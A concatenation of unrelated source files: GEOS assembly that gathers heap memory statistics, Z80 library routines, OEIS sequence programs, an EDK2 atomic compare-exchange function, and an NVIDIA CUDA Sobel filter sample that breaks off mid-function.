GRAPH_HEIGHT-1 61$: mov ds:[statArray].PSS_pppOut, ax done: ret PerfCalcPPPStatistics endp PerfCalcFreeHandles proc near ; Record number of free handles (absolute value * 10) mov ax, SGIT_NUMBER_OF_FREE_HANDLES call SysGetInfo push ax call MultAXBy10 mov ds:[numericLast].PSS_handlesFree, ax pop ax ; Now we need to generate the value to graph, so ideally ; we'd want (freeHandles / totalHandles) * GRAPH_HEIGHT. ; But, we've already calculated # of handles/pixel, so ; we'll just do the division portion. mov si, ds:[handlesPerPixel] div si mov ds:[statArray].PSS_handlesFree, ax ret PerfCalcFreeHandles endp MultAXBy10AndDivideBy64 proc near clr dx ;set dx:ax = A LARGE NUMBER ;multiply by 10 to adjust for the print decimal routine shl ax, 1 ; * 2 rcl dx mov bx, ax ;set cx:bx = dx:ax mov cx, dx shl ax, 1 ; * 2 rcl dx shl ax, 1 ; * 2 (is now * 8 total) rcl dx add ax, bx ; ax is now * 10 adc dx, cx ;divide by 64 to convert to K mov cx, 6 10$: shr dx rcr ax loop 10$ ret MultAXBy10AndDivideBy64 endp MultAXBy10 proc near shl ax, 1 ; * 2 mov bx, ax shl ax, 1 ; * 2 shl ax, 1 ; * 2 (* 8 total) add ax, bx ; ax is now * 10 ret MultAXBy10 endp COMMENT @---------------------------------------------------------------------- FUNCTION: CalcMemoryStats DESCRIPTION: Calculate memory statistics CALLED BY: PerfCalcNewStats PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version, with help from Adam of course ------------------------------------------------------------------------------@ CalcMemoryStatistics proc near ;zero out counters (could be coded better!) clr ax mov ds:[heapTotalMemBlocks], ax mov ds:[heapTotalMemSize], ax mov ds:[heapAllocatedMemBlocks], ax mov ds:[heapAllocatedMemSize], ax mov ds:[heapFixedMemBlocks], ax mov ds:[heapFixedMemSize], ax mov ds:[heapUpperMemBlocks], ax mov ds:[heapUpperMemSize], ax mov ds:[heapUpperFreeMemBlocks], ax mov ds:[heapUpperFreeMemSize], ax mov ds:[heapUpperScanActive], al ;set FALSE mov ds:[heapUpperScanStartSeg], ax tst ds:[graphModes].PSS_heapAllocated jnz scanMemory tst ds:[graphModes].PSS_heapFixed jnz scanMemory tst ds:[graphModes].PSS_heapFragmentation jz exit ;skip to end if no info needed... scanMemory: ;some memory meter is enabled: perform the stats. ;Now enter a no-context-switch state and tally the usage of handles ;in the system. NOTHING WE DO HERE SHOULD CAUSE US TO BLOCK IN ;ANY WAY. ;;; call SysEnterCritical push es ;first find the first handle which is memory-related. mov cx, es:[handleEnd] ;cx = offset to last handle + 1 les bx, es:[handleStart] ;es:bx = first handle ;(now es:cx = last handle + 1) ;grab the heap semaphore in a round-about friendly sort of way call MemGrabHeap ; push bx ; mov ax, es ; mov bx, ds:[heapSemOffset] ;ax:bx = heapSem (really) ; call ThreadLockModule ; pop bx handleLoop: EC < call CheckForNukedHandle ;> cmp es:[bx].HG_type, SIG_NON_MEM jae next ;skip if not memory related... mov ax, es:[bx].HM_owner tst ax ;is this block free? jz next ;skip if so... ;see if the block is discarded or swapped out tst es:[bx].HM_addr ;resident? jnz foundMemoryBlockHandle ;skip if so... next: add bx, size HandleMem cmp bx, cx ;at end of handle table yet? jb handleLoop ;loop if not... EC < ERROR PERF_ERROR_REACHED_END_OF_HEAP_WITHOUT_FINDING_MEMORY_BLOCK > NEC < jmp short done ;non-ec: bail without stats > NEC < ;rather than dying! > foundMemoryBlockHandle: ;We have found the handle of a memory block which is in the heap. ;Now follow the linked list of memory handles, so that we don't ;have to examine as many handles to scan the heap. ;our first job is to scan downwards in the heap until we find an ;allocated MOVABLE block, or an allocated FIXED block. This will tell ;us whether we are inside the Upper area or not. mov dx, bx ;save address of this handle, ;so that we know if we are looping ;helplessly scanDownExamineHandle: EC < call CheckForNukedHandle ;> ;examine this memory block handle, to learn the size and info ;on its memory block. call ExamineMemoryBlockHandleForAllocated jc scanUp ;skip if found one... mov bx, es:[bx].HM_prev ;point to handle for previous block cmp dx, bx ;have we completed a loop? jne scanDownExamineHandle ;loop if not... EC < ERROR PERF_ERROR > NEC < jmp short done ;bail in non-ec... > scanUp: ;now we scan forwards, making a complete loop through the heap, ;gathering stats as we go. (heapUpperStart = handle OR 8000h if we ;are starting in the middle of the Upper area). mov dx, bx ;save address of this handle, so that ;we know when to stop! scanUpExamineHandle: EC < call CheckForNukedHandle ;> ;examine this memory block handle, to learn the size and info ;on its memory block. Update stats accordingly. call ExamineMemoryBlockHandle mov bx, es:[bx].HM_next ;point to handle for next block cmp dx, bx ;have we completed a loop? jne scanUpExamineHandle ;loop if not... done: ForceRef done ; pop es ; call SysExitCritical call MemReleaseHeap ; mov ax, es ; mov bx, ds:[heapSemOffset] ;ax:bx = heapSem (really) ; call ThreadUnlockModule pop es exit: ret CalcMemoryStatistics endp if ERROR_CHECK CheckForNukedHandle proc near push ax, cx, di mov cx, 6 ;cx <- 6 words always trashed mov di, bx ;es:di <- ptr to HandleMem clr ax ;ax <-look for non-zeroes repe scasw ;scan me jesus ERROR_Z HANDLE_TRASHED_BUMMER_DUDE_GAME_OVER pop ax, cx, di ret CheckForNukedHandle endp endif COMMENT @---------------------------------------------------------------------- FUNCTION: ExamineMemoryBlockHandleForAllocated DESCRIPTION: CALLED BY: PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ ExamineMemoryBlockHandleForAllocated proc near ;is this block FREE or USED? tst es:[bx].HM_owner ;is there an owner? jz isFree ;skip if not (is FREE)... ;The area from A0000h to BFFFFh is not really RAM, and so is allocated ;by the kernel as a fake "LOCKED block". If that is what we have, ;then leave it out of the stats completely. call CheckForKernelFakeLockedBlock jc isFree ;skip if is... isUsed: ;This block is in use. Depending upon whether we have found ;a fixed or movable block, begin our stats here. ForceRef isUsed test es:[bx].HM_flags, mask HF_FIXED ;is this in the FIXED area? jnz isAlloc ;skip if so... ;we are somewhere in the Upper heap area. Save the segment address ;of this block so that we know when we wrap around. mov ds:[heapUpperScanActive], TRUE mov ax, es:[bx].HM_addr mov ds:[heapUpperScanStartSeg], ax isAlloc: stc ret isFree: ;this is a free block: must continue to scan backwards clc ret ExamineMemoryBlockHandleForAllocated endp COMMENT @---------------------------------------------------------------------- FUNCTION: ExamineMemoryBlockHandle DESCRIPTION: CALLED BY: PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ ExamineMemoryBlockHandle proc near ;The area from A0000h to BFFFFh is not really RAM, and so is allocated ;by the kernel as a fake "LOCKED block". If that is what we have, ;then leave it out of the stats completely. call CheckForKernelFakeLockedBlock jc done ;skip if is... ;Seems like a normal memory block. ;Account for each block (free or otherwise) call KeepNormalStats ;now update stats for Upper heap area, if necessary call KeepUpperAreaStats done: ret ExamineMemoryBlockHandle endp COMMENT @---------------------------------------------------------------------- FUNCTION: KeepNormalStats DESCRIPTION: CALLED BY: PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ KeepNormalStats proc near inc ds:[heapTotalMemBlocks] mov ax, es:[bx].HM_size add ds:[heapTotalMemSize], ax ;is this block FREE or USED? tst es:[bx].HM_owner ;is there an owner? jz done ;skip if not (is FREE)... isUsed: ;This block is in use. Change a random bit in it. No, just kidding! ForceRef isUsed inc ds:[heapAllocatedMemBlocks] mov ax, es:[bx].HM_size add ds:[heapAllocatedMemSize], ax ;see if it is fixed cmp es:[bx].HM_lockCount, 255 ;check for pseudo-fixed jz isFixed test es:[bx].HM_flags, mask HF_FIXED jz done isFixed: inc ds:[heapFixedMemBlocks] mov ax, es:[bx].HM_size add ds:[heapFixedMemSize], ax done: ret KeepNormalStats endp COMMENT @---------------------------------------------------------------------- FUNCTION: KeepUpperAreaStats DESCRIPTION: CALLED BY: PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: heapUpperScanActive byte ;TRUE when we are scanning the upper area. ;set FALSE when we find a block with a segment ;address below heapUpperScanStartSeg. heapUpperScanStartSeg word ;if we have begun scanning the upper area, ;this is the segment of the MOVABLE block ;which begins the upper area. REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ KeepUpperAreaStats proc near ;are we scanning in the upper area? tst ds:[heapUpperScanActive] jz scanningLower ;skip if not... scanningUpper: ForceRef scanningUpper ;we are scanning the upper heap. If the address of this block ;is less than [heapUpperScanStartSeg], it means we have wrapped ;around, and are now scanning the lower heap. mov ax, es:[bx].HM_addr cmp ds:[heapUpperScanStartSeg], ax ;WRONG! jle addToUpperStats ;have not wrapped around jbe addToUpperStats ;have not wrapped around ;yet, so just update stats... ;we have wrapped around mov ds:[heapUpperScanActive], FALSE jmp short done ;skip to end... scanningLower: ;We are scanning the lower heap. If we encounter a MOVABLE block, ;then we have reached the beginning of the Upper area. tst es:[bx].HM_owner ;is this block FREE or ALLOC? jz done ;skip if is FREE (scan)... test es:[bx].HM_flags, mask HF_FIXED ;is this ALLOC block FIXED? jnz done ;skip if FIXED (scan)... scanningLowerFoundLowerBoundOfUpper: ;we have found the LOWEST bound of the Upper area. Set our flag ;TRUE, and save the segment of this block, so we don't falsely ;think that we have wrapped around. ForceRef scanningLowerFoundLowerBoundOfUpper mov ds:[heapUpperScanActive], TRUE mov ax, es:[bx].HM_addr mov ds:[heapUpperScanStartSeg], ax addToUpperStats: inc ds:[heapUpperMemBlocks] mov ax, es:[bx].HM_size add ds:[heapUpperMemSize], ax tst es:[bx].HM_owner ;is this block FREE or ALLOC? jnz done ;skip if is ALLOC... inc ds:[heapUpperFreeMemBlocks] mov ax, es:[bx].HM_size add ds:[heapUpperFreeMemSize], ax done: ret KeepUpperAreaStats endp COMMENT @---------------------------------------------------------------------- FUNCTION: CheckForKernelFakeLockedBlock DESCRIPTION: CALLED BY: PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ ;The area from A0000h to BFFFFh is not really RAM, and so is allocated ;by the kernel as a fake "LOCKED block". ABOVE_640K = 0xa000 ;segment which starts at 640K NORMAL_USAGE_VALUE = 1000 ;normal blocks have at least ;this usage value CheckForKernelFakeLockedBlock proc near cmp es:[bx].HM_owner, handle geos ;owned by kernel? ; cmp es:[bx].HM_owner, KERNEL_ID ;owned by kernel? jne 10$ ;skip if not... tst es:[bx].HM_flags jnz 10$ ;skip if has any flag... cmp es:[bx].HM_lockCount, 1 ;lock count of 1? jne 10$ cmp es:[bx].HM_addr, ABOVE_640K jl 10$ ;skip if below 640K... cmp es:[bx].HM_usageValue, NORMAL_USAGE_VALUE jl 90$ ;skip if not used very often... 10$: ;is not clc ret 90$: ;is fake stc ret CheckForKernelFakeLockedBlock endp PerfCalcStatCode ends
; void fcloseall(void) ; 07.2009 aralbrec PUBLIC fcloseall EXTERN fclose EXTERN _stdio_filetbl, LIBDISP2_FCLOSE INCLUDE "../stdio.def" ; close all open high level FILEs, including stdin / stdout / stderr ; does not necessarily close all open fds -- for that see closeall ; fcloseall should always be called before closeall .fcloseall ld hl,_stdio_filetbl - 6 ; include stdin / stdout / stderr ld b,STDIO_NUMFILE + 3 .loop ld a,(hl) ld ixl,a inc hl ld a,(hl) ld ixh,a ; ix = FILE* push hl push bc call closefile pop bc pop hl inc hl djnz loop ret .closefile ld a,ixl or ixh call nz, fclose + LIBDISP2_FCLOSE ret
; ; Sprinter C Library ; ; ANSI Video handling for Sprinter ; ; $Id: f_ansi_char.asm,v 1.1 2002/10/10 20:38:22 dom Exp $ ; XLIB ansi_CHAR XREF ansi_ROW XREF ansi_COLUMN XDEF text_cols XDEF text_rows XREF text_attr .text_rows defb 32 .text_cols defb 80 ; a = character to print - need to handle attributes .ansi_CHAR ex af,af ld a,(ansi_ROW) ld d,a ld a,(ansi_COLUMN) ld e,a ld a,(text_attr) ld b,a ex af,af ld c,$58 ;PUTCHAR rst $10 ret
; A033550: a(n) = A005248(n) - n. ; 2,2,5,15,43,118,316,836,2199,5769,15117,39592,103670,271430,710633,1860483,4870831,12752026,33385264,87403784,228826107,599074557,1568397585,4106118220,10749957098,28143753098,73681302221,192900153591 mov $1,2 lpb $0 sub $0,1 add $1,$3 add $2,1 add $3,$1 add $3,$2 lpe mov $0,$1
; A228121: Numbers n such that 3n - 4 is prime. ; Submitted by Jon Maiga ; 2,3,5,7,9,11,15,17,19,21,25,29,31,35,37,39,45,47,51,57,59,61,65,67,77,79,81,85,87,89,91,95,99,105,107,117,119,121,129,131,135,141,145,149,151,155,157,161,165,169,171,175,187,189,191,197,199,201,207,215,217,219,221,227,229,235,241,249,255,259,267,271,275,277,281,287,289,295,297,305,311,315,317,319,325,327,329,339,341,345,351,355,365,367,369,371,385,389,395,397 mov $1,1 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,3 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 div $0,3 add $0,1
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; Copyright (c) 2015, Linaro Ltd. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; InterlockedCompareExchange16.Asm ; ; Abstract: ; ; InterlockedCompareExchange16 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; UINT16 ; EFIAPI ; InterlockedCompareExchange16 ( ; IN UINT16 *Value, ; IN UINT16 CompareValue, ; IN UINT16 ExchangeValue ; ); ;------------------------------------------------------------------------------ InternalSyncCompareExchange16 PROC mov ax, dx lock cmpxchg [rcx], r8w ret InternalSyncCompareExchange16 ENDP END
/* * Copyright 1993-2010 NVIDIA Corporation. All rights reserved. * * Please refer to the NVIDIA end user license agreement (EULA) associated * with this source code for terms and conditions that govern your use of * this software. Any use, reproduction, disclosure, or distribution of * this software and related documentation outside the terms of the EULA * is strictly prohibited. * */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <GL/glew.h> #if defined(__APPLE__) || defined(MACOSX) #include <GLUT/glut.h> #else #include <GL/glut.h> #endif #include <cuda_runtime.h> #include <cutil_inline.h> #include <cutil_gl_inline.h> #include <cuda_gl_interop.h> #include <rendercheck_gl.h> #include "FunctionPointers_kernels.h" // // Cuda example code that implements the Sobel edge detection // filter. This code works for 8-bit monochrome images. // // Use the '-' and '=' keys to change the scale factor. // // Other keys: // I: display image // T: display Sobel edge detection (computed solely with texture) // S: display Sobel edge detection (computed with texture and shared memory) void cleanup(void); void initializeData(char *file, int argc, char **argv) ; #define MAX_EPSILON_ERROR 5.0f static char *sSDKsample = "CUDA Function Pointers (SobelFilter)"; // Define the files that are to be save and the reference images for validation const char *sOriginal[] = { "lena_orig.pgm", "lena_shared.pgm", "lena_shared_tex.pgm", NULL }; const char *sOriginal_ppm[] = { "lena_orig.ppm", "lena_shared.ppm", "lena_shared_tex.ppm", NULL }; const char *sReference[] = { "ref_orig.pgm", "ref_shared.pgm", "ref_shared_tex.pgm", NULL }; const char *sReference_ppm[] = { "ref_orig.ppm", "ref_shared.ppm", "ref_shared_tex.ppm", NULL }; static int wWidth = 512; // Window width static int wHeight = 512; // Window height static int imWidth = 0; // Image width static int imHeight = 0; // Image height static int blockOp = 0; static int pointOp = 1; // Code to handle Auto verification const int frameCheckNumber = 4; int fpsCount = 0; // FPS count for averaging int fpsLimit = 8; // FPS limit for sampling unsigned int frameCount = 0; unsigned int g_TotalErrors = 0; bool g_Verify = false, g_AutoQuit = false; unsigned int timer; unsigned int g_Bpp; unsigned int g_Index = 0; bool g_bQAReadback = false; bool g_bOpenGLQA = false; bool g_bFBODisplay = false; // Display Data static GLuint pbo_buffer = 0; // Front and back CA buffers struct cudaGraphicsResource *cuda_pbo_resource; // CUDA Graphics Resource (to transfer PBO) static GLuint texid = 0; // Texture for display unsigned char * pixels = NULL; // Image pixel data on the host float imageScale = 1.f; // Image exposure enum SobelDisplayMode g_SobelDisplayMode; // CheckFBO/BackBuffer class objects CheckRender *g_CheckRender = NULL; bool bQuit = false; extern "C" void runAutoTest(int argc, char **argv); #define OFFSET(i) ((char *)NULL + (i)) #define MAX(a,b) ((a > b) ? a : b) void AutoQATest() { if (g_CheckRender && g_CheckRender->IsQAReadback()) { char temp[256]; g_SobelDisplayMode = (SobelDisplayMode)g_Index; sprintf(temp, "%s Cuda Edge Detection (%s)", "AutoTest:", filterMode[g_SobelDisplayMode]); glutSetWindowTitle(temp); g_Index++; if (g_Index > 2) { g_Index = 0; printf("Summary: %d errors!\n", g_TotalErrors); printf("%s\n", (g_TotalErrors==0) ? "PASSED" : "FAILED"); exit(0); } } } void computeFPS() { frameCount++; fpsCount++; if (fpsCount == fpsLimit-1) { g_Verify = true; } if (fpsCount == fpsLimit) { char fps[256]; float ifps = 1.f / (cutGetAverageTimerValue(timer) / 1000.f); sprintf(fps, "%s Cuda Edge Detection (%s): %3.1f fps", ((g_CheckRender && g_CheckRender->IsQAReadback()) ? "AutoTest:" : ""), filterMode[g_SobelDisplayMode], ifps); glutSetWindowTitle(fps); fpsCount = 0; if (g_CheckRender && !g_CheckRender->IsQAReadback()) fpsLimit = (int)MAX(ifps, 1.f); cutilCheckError(cutResetTimer(timer)); AutoQATest(); } } // This is the normal display path void display(void) { cutilCheckError(cutStartTimer(timer)); // Sobel operation Pixel *data = NULL; // map PBO to get CUDA device pointer cutilSafeCall(cudaGraphicsMapResources(1, &cuda_pbo_resource, 0)); size_t num_bytes; cutilSafeCall(cudaGraphicsResourceGetMappedPointer((void **)&data, &num_bytes, cuda_pbo_resource)); //printf("CUDA mapped PBO: May access %ld bytes\n", num_bytes); sobelFilter(data, imWidth, imHeight, g_SobelDisplayMode, imageScale, blockOp, pointOp ); cutilSafeCall(cudaGraphicsUnmapResources(1, &cuda_pbo_resource, 0)); glClear(GL_COLOR_BUFFER_BIT); glBindTexture(GL_TEXTURE_2D, texid); glBindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo_buffer); glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, imWidth, imHeight, GL_LUMINANCE, GL_UNSIGNED_BYTE, OFFSET(0)); glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); glDisable(GL_DEPTH_TEST); glEnable(GL_TEXTURE_2D); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); glBegin(GL_QUADS); glVertex2f(0, 0); glTexCoord2f(0, 0); glVertex2f(0, 1); glTexCoord2f(1, 0); glVertex2f(1, 1); glTexCoord2f(1, 1); glVertex2f(1, 0); glTexCoord2f(0, 1); glEnd(); glBindTexture(GL_TEXTURE_2D, 0); if (g_CheckRender && g_CheckRender->IsQAReadback() && g_Verify) { printf("> (Frame %d) readback BackBuffer\n", frameCount); g_CheckRender->readback( imWidth, imHeight ); g_CheckRender->savePPM ( sOriginal_ppm[g_Index], true, NULL ); if (!g_CheckRender->PPMvsPPM(sOriginal_ppm[g_Index], sReference_ppm[g_Index], MAX_EPSILON_ERROR, 0.15f)) { g_TotalErrors++; } g_Verify = false; } glutSwapBuffers(); cutilCheckError(cutStopTimer(timer)); computeFPS(); glutPostRedisplay(); } void idle(void) { glutPostRedisplay(); } void keyboard( unsigned char key, int /*x*/, int /*y*/) { char temp[256]; switch( key) { case 27: exit (0); break; case '-': imageScale -= 0.1f; printf("brightness = %4.2f\n", imageScale); break; case '=': imageScale += 0.1f; printf("brightness = %4.2f\n", imageScale); break; case 'i': case 'I': g_SobelDisplayMode = SOBELDISPLAY_IMAGE; sprintf(temp, "Cuda Edge Detection (%s)", filterMode[g_SobelDisplayMode]); glutSetWindowTitle(temp); break; case 's': case 'S': g_SobelDisplayMode = SOBELDISPLAY_SOBELSHARED; sprintf(temp, "Cuda Edge Detection (%s)", filterMode[g_SobelDisplayMode]); glutSetWindowTitle(temp); break; case 't': case 'T': g_SobelDisplayMode = SOBELDISPLAY_SOBELTEX; sprintf(temp, "Cuda Edge Detection (%s)", filterMode[g_SobelDisplayMode]); glutSetWindowTitle(temp); break; case 'b': case 'B': blockOp = (blockOp + 1)%LAST_BLOCK_FILTER; break; case 'p': case 'P': pointOp = (pointOp +1)%LAST_POINT_FILTER; break; default: break; } glutPostRedisplay(); } void reshape(int x, int y) { glViewport(0, 0, x, y); glMatrixMode(GL_PROJECTION); glLoadIdentity(); glOrtho(0, 1, 0, 1, 0, 1); glMatrixMode(GL_MODELVIEW); glLoadIdentity(); glutPostRedisplay(); } void cleanup(void) { cutilSafeCall(cudaGraphicsUnregisterResource(cuda_pbo_resource)); glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); glDeleteBuffers(1, &pbo_buffer); glDeleteTextures(1, &texid); deleteTexture(); if (g_CheckRender) { delete g_CheckRender; g_CheckRender = NULL; } cutilCheckError(cutDeleteTimer(timer)); } void initializeData(char *file, int argc, char **argv) { GLint bsize; unsigned int w, h; size_t file_length= strlen(file); if (!strcmp(&file[file_length-3], "pgm")) { if (cutLoadPGMub(file, &pixels, &w, &h) != CUTTrue) { printf("Failed to load image file: %s\n", file); exit(-1); } g_Bpp = 1; } else if (!strcmp(&file[file_length-3], "ppm")) { if (cutLoadPPM4ub(file, &pixels, &w, &h) != CUTTrue) { printf("Failed to load image file: %s\n", file); exit(-1); } g_Bpp = 4; } else { cudaThreadExit(); cutilExit(argc, argv); } imWidth = (int)w; imHeight = (int)h; setupTexture(imWidth, imHeight, pixels, g_Bpp); // copy function pointer tables to host side for later use setupFunctionTables(); memset(pixels, 0x0, g_Bpp * sizeof(Pixel) * imWidth * imHeight); if (!g_bQAReadback) { // use OpenGL Path glGenBuffers(1, &pbo_buffer); glBindBuffer(GL_PIXEL_UNPACK_BUFFER, pbo_buffer); glBufferData(GL_PIXEL_UNPACK_BUFFER, g_Bpp * sizeof(Pixel) * imWidth * imHeight, pixels, GL_STREAM_DRAW); glGetBufferParameteriv(GL_PIXEL_UNPACK_BUFFER, GL_BUFFER_SIZE, &bsize); if ((GLuint)bsize != (g_Bpp * sizeof(Pixel) * imWidth * imHeight)) { printf("Buffer object (%d) has incorrect size (%d).\n", (unsigned)pbo_buffer, (unsigned)bsize); cudaThreadExit(); cutilExit(argc, argv); } glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); // register this buffer object with CUDA cutilSafeCall(cudaGraphicsGLRegisterBuffer(&cuda_pbo_resource, pbo_buffer, cudaGraphicsMapFlagsWriteDiscard)); glGenTextures(1, &texid); glBindTexture(GL_TEXTURE_2D, texid); glTexImage2D(GL_TEXTURE_2D, 0, ((g_Bpp==1) ? GL_LUMINANCE : GL_BGRA), imWidth, imHeight, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, NULL); glBindTexture(GL_TEXTURE_2D, 0); glPixelStorei(GL_UNPACK_ALIGNMENT, 1); glPixelStorei(GL_PACK_ALIGNMENT, 1); } } void loadDefaultImage( int argc, char ** argv ) { printf("Reading image: lena.pgm\n"); const char* image_filename = "lena.pgm"; char* image_path = cutFindFilePath(image_filename, argv[0] ); if (image_path == 0) { printf( "Reading image failed.\n"); exit(EXIT_FAILURE); } initializeData( image_path, argc, argv ); cutFree( image_path ); } void printHelp() { printf("\nUsage: SobelFilter <options>\n"); printf("\t\t-fbo (render using FBO display path)\n"); printf("\t\t-qatest (automatic validation)\n"); printf("\t\t-file = filename.pgm (image files for input)\n\n"); bQuit = true; } void initGL(int *argc, char** argv) { glutInit( argc, argv ); glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE); glutInitWindowSize(wWidth, wHeight); glutCreateWindow("Cuda Edge Detection"); glewInit(); if (g_bFBODisplay) { if (!glewIsSupported( "GL_VERSION_2_0 GL_ARB_fragment_program GL_EXT_framebuffer_object" )) { fprintf(stderr, "Error: failed to get minimal extensions for demo\n"); fprintf(stderr, "This sample requires:\n"); fprintf(stderr, " OpenGL version 2.0\n"); fprintf(stderr, " GL_ARB_fragment_program\n"); fprintf(stderr, " GL_EXT_framebuffer_object\n"); cudaThreadExit(); cutilExit(*argc, argv); } } else { if (!glewIsSupported( "GL_VERSION_1_5 GL_ARB_vertex_buffer_object GL_ARB_pixel_buffer_object" )) { fprintf(stderr, "Error: failed to get minimal extensions for demo\n"); fprintf(stderr, "This sample requires:\n"); fprintf(stderr, " OpenGL version 1.5\n"); fprintf(stderr, " GL_ARB_vertex_buffer_object\n"); fprintf(stderr, " GL_ARB_pixel_buffer_object\n"); cudaThreadExit(); cutilExit(*argc, argv); } } } bool checkCUDAProfile(int dev) { int runtimeVersion = 0; cudaDeviceProp deviceProp; cudaGetDeviceProperties(&deviceProp, dev); fprintf(stderr,"\nDevice %d: \"%s\"\n", dev, deviceProp.name); cudaRuntimeGetVersion(&runtimeVersion); fprintf(stderr," CUDA Runtime Version:\t%d.%d\n", runtimeVersion/1000, (runtimeVersion%100)/10); fprintf(stderr," CUDA SM Capability :\t%d.%d\n", deviceProp.major, deviceProp.minor); if( runtimeVersion/1000 >= 3 && runtimeVersion%100 >= 1 && deviceProp.major >= 2 ) { return true; } else { return false; } } int findCapableDevice(int argc, char **argv) { int dev; int bestDev = -1; int deviceCount = 0; if (cudaGetDeviceCount(&deviceCount) != cudaSuccess) { fprintf(stderr, "cudaGetDeviceCount FAILED CUDA Driver and Runtime version may be mismatched.\n"); fprintf(stderr, "\nFAILED\n"); cudaThreadExit(); cutilExit(argc, argv); } for (dev = 0; dev < deviceCount; ++dev) { cudaDeviceProp deviceProp; cudaGetDeviceProperties(&deviceProp, dev); if (dev == 0) { // This function call returns 9999 for both major & minor fields, if no CUDA capable devices are present if (deviceProp.major == 9999 && deviceProp.minor == 9999) fprintf(stderr,"There is no device supporting CUDA.\n"); else if (deviceCount == 1) fprintf(stderr,"There is 1 device supporting CUDA\n"); else fprintf(stderr,"There are %d devices supporting CUDA\n", deviceCount); } if( checkCUDAProfile( dev ) ) { fprintf(stderr,"\nFound capable device: %d\n", dev ); if( bestDev == -1 ) { bestDev = dev; fprintf(stderr, "Setting active device to %d\n", bestDev ); } } } if( bestDev == -1 ) { fprintf(stderr, "\nNo configuration with available capabilities was found. Test has been waived.\n"); fprintf(stderr, "This sample requires:\n"); fprintf(stderr, "\tGPU Device Compute >= 2.0 is required\n"); fprintf(stderr, "\tCUDA Runtime Version >= 3.1 is required\n"); fprintf(stderr, "PASSED\n"); } return bestDev; } void runAutoTest(int argc, char **argv) { printf("[%s] (automated testing w/ readback)\n", sSDKsample); if( cutCheckCmdLineFlag(argc, (const char**)argv, "device") ) { cutilDeviceInit(argc, argv); int device; cudaGetDevice( &device ); if( checkCUDAProfile( device ) == false ) { cudaThreadExit(); cutilExit(argc, argv); } } else { int dev = findCapableDevice(argc, argv); if( dev != -1 ) cudaSetDevice( dev ); else { cudaThreadExit(); cutilExit(argc, argv); } } loadDefaultImage( argc, argv ); if (argc > 1) { char *filename; if (cutGetCmdLineArgumentstr(argc, (const char **)argv, "file", &filename)) { initializeData(filename, argc, argv); } } else { loadDefaultImage( argc, argv ); } g_CheckRender = new CheckBackBuffer(imWidth, imHeight, sizeof(Pixel), false); g_CheckRender->setExecPath(argv[0]); Pixel *d_result; cutilSafeCall( cudaMalloc( (void **)&d_result, imWidth*imHeight*sizeof(Pixel)) ); while (g_SobelDisplayMode <= 2) { printf("AutoTest: %s <%s>\n", sSDKsample, filterMode[g_SobelDisplayMode]); sobelFilter(d_result, imWidth, imHeight, g_SobelDisplayMode, imageScale, blockOp, pointOp ); cutilSafeCall( cudaThreadSynchronize() ); cudaMemcpy(g_CheckRender->imageData(), d_result, imWidth*imHeight*sizeof(Pixel), cudaMemcpyDeviceToHost); g_CheckRender->savePGM(sOriginal[g_Index], false, NULL); if (!g_CheckRender->PGMvsPGM(sOriginal[g_Index], sReference[g_Index], MAX_EPSILON_ERROR, 0.15f)) { g_TotalErrors++; } g_Index++; g_SobelDisplayMode = (SobelDisplayMode)g_Index; } cutilSafeCall( cudaFree( d_result ) ); delete g_CheckRender; if (!g_TotalErrors) printf("PASSED\n"); else printf("FAILED\n"); } int main(int argc, char** argv) { printf("[%s]\n", sSDKsample); if (argc > 1) { if (cutCheckCmdLineFlag(argc, (const char **)argv, "help")) { printHelp(); } if (cutCheckCmdLineFlag(argc, (const char **)argv, "qatest") || cutCheckCmdLineFlag(argc, (const char **)argv, "noprompt")) { g_bQAReadback = true; fpsLimit = frameCheckNumber; } if (cutCheckCmdLineFlag(argc, (const char **)argv, "glverify")) { g_bOpenGLQA = true; fpsLimit = frameCheckNumber; } if (cutCheckCmdLineFlag(argc, (const char **)argv, "fbo")) { 